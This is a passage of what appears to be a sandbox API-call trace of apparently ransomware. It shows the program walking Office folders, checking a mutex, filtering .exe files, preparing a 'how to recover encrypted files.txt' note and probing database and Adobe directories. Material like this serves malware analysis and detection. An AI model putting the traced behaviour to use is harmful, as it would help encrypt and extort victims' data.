Controller\\pkeyconfig.companion.dllX", lpUsedDefaultChar=0x0) returned 4 [0047.646] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0047.646] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0047.647] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0047.647] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.647] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.647] GlobalLock (hMem=0x440004) returned 0x554180 [0047.647] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.647] GlobalUnlock (hMem=0x440004) returned 0 [0047.647] GlobalLock (hMem=0x440004) returned 0x554180 [0047.647] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.647] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.647] GlobalUnlock (hMem=0x440004) returned 0 [0047.647] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.647] GlobalUnlock (hMem=0x44000c) returned 0 [0047.647] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.647] CharLowerBuffW (in: lpsz="Setup.exe", cchLength=0x9 | out: lpsz="setup.exe") returned 0x9 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.648] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0047.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", cchWideChar=89, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x0) returned 89 [0047.648] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0047.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x0) returned 4 [0047.648] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0047.648] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0047.648] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0047.648] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0047.648] GetLastError () returned 0x12 [0047.648] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.648] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.648] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.648] GlobalUnlock (hMem=0x44000c) returned 0 [0047.648] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.648] GlobalLock (hMem=0x440004) returned 0x556190 [0047.648] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.648] GlobalUnlock (hMem=0x44000c) returned 0 [0047.648] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.648] GlobalUnlock (hMem=0x440004) returned 0 [0047.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dad0c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dad0c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.649] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.649] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.649] GlobalLock (hMem=0x440004) returned 0x554180 [0047.649] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.649] GlobalUnlock (hMem=0x440004) returned 0 [0047.649] GlobalLock (hMem=0x440004) returned 0x554180 [0047.649] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.649] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.649] GlobalUnlock (hMem=0x440004) returned 0 [0047.649] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.649] GlobalUnlock (hMem=0x44000c) returned 0 [0047.649] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.649] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dad0c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dad0c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.649] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.649] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.649] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.649] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.649] GlobalUnlock (hMem=0x44000c) returned 0 [0047.649] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.649] GlobalLock (hMem=0x440004) returned 0x556190 [0047.649] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.649] GlobalUnlock (hMem=0x44000c) returned 0 [0047.649] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.649] GlobalUnlock (hMem=0x440004) returned 0 [0047.649] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.649] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0047.650] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.650] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.650] GlobalLock (hMem=0x440004) returned 0x554180 [0047.650] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.650] GlobalUnlock (hMem=0x440004) returned 0 [0047.650] GlobalLock (hMem=0x440004) returned 0x554180 [0047.650] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.650] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.650] GlobalUnlock (hMem=0x440004) returned 0 [0047.650] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.650] GlobalUnlock (hMem=0x44000c) returned 0 [0047.650] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.650] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.650] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.650] GlobalUnlock (hMem=0x44000c) returned 0 [0047.650] GlobalLock (hMem=0x44000c) returned 0x554180 [0047.650] GlobalLock (hMem=0x440004) returned 0x556190 [0047.650] GlobalHandle (pMem=0x554180) returned 0x44000c [0047.650] GlobalUnlock (hMem=0x44000c) returned 0 [0047.650] GlobalHandle (pMem=0x556190) returned 0x440004 [0047.650] GlobalUnlock (hMem=0x440004) returned 0 [0047.650] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.650] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", len=0x5c | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 1 [0047.650] GlobalLock (hMem=0x440004) returned 0x554180 [0047.650] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.650] GlobalUnlock (hMem=0x440004) returned 0 [0047.650] GlobalLock (hMem=0x440004) returned 0x554180 [0047.650] GlobalLock (hMem=0x44000c) returned 0x556190 [0047.651] GlobalHandle (pMem=0x554180) returned 0x440004 [0047.651] GlobalUnlock (hMem=0x440004) returned 0 [0047.651] GlobalHandle (pMem=0x556190) returned 0x44000c [0047.651] GlobalUnlock (hMem=0x44000c) returned 0 [0047.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@裢T袶T企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.688] GetLastError () returned 0x3 [0047.688] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.688] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0047.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@蟼T企@\x18䁼Q\x181")) returned 0xffffffff [0047.690] GetLastError () returned 0x2 [0047.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0047.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@℔R企@\x18?T\x18;")) returned 0xffffffff [0047.691] GetLastError () returned 0x2 [0047.691] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0047.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@⊔U企@\x18?T\x18D")) returned 0xffffffff [0047.693] GetLastError () returned 0x2 [0047.693] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69918, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0047.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0047.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x556190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@蟼T企@\x18℔R\x18j")) returned 0xffffffff [0047.695] GetLastError () returned 0x2 [0047.695] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", cchLength=0x5d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\") returned 0x5d [0047.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0047.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0047.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Adobe", 